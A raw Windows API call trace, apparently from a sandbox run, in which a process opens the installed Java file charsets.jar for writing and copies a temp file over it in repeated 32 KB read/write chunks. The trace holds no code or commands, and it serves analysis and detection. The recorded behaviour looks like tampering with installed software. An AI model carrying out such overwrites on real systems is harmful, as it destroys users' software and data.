	[0246.389] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0246.466] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0246.519] SetEvent (hEvent=0xf0) returned 1
	[0246.519] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0246.540] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0003e5d74 | out: lpMode=0xc0003e5d74) returned 0
	[0246.540] GetFileType (hFile=0x19c) returned 0x1
	[0246.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac4d62ca3591c57d97b943f6da564a8e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac4d62ca3591c57d97b943f6da564a8e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0246.541] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0003e5d74 | out: lpMode=0xc0003e5d74) returned 0
	[0246.541] GetFileType (hFile=0x120) returned 0x1
	[0246.541] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.545] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.548] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.548] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.550] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.550] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.552] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.552] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.554] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.554] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.647] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.648] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.649] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.650] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.651] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.651] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.653] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.655] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.658] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.658] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.659] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.660] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.661] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.662] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.663] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.664] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.665] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.666] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.667] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.668] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.669] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.670] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.671] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.673] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.676] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.677] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.678] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.678] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.679] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.680] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.681] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.681] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.772] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.772] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.774] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.774] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.775] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.776] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.777] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.779] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.782] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.782] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.784] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.784] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.785] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.786] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.787] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.787] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.788] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.789] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.790] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.791] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.792] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.792] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0246.794] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0246.954] SwitchToThread () returned 1
	[0247.009] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0247.091] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.109] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0247.147] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.147] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.149] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.149] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.151] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.152] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.153] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.153] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.155] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.155] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.156] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.157] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.158] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.158] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.160] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.161] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.165] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.165] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.166] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0247.166] WriteFile (in: hFile=0x19c, lpBuffer=0xc0001d0000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0003e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesWritten=0xc0003e5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0247.168] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0003e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0000*, lpNumberOfBytesRead=0xc0003e5bd4*=0x8000, lpOverlapped=0x0) returned 1
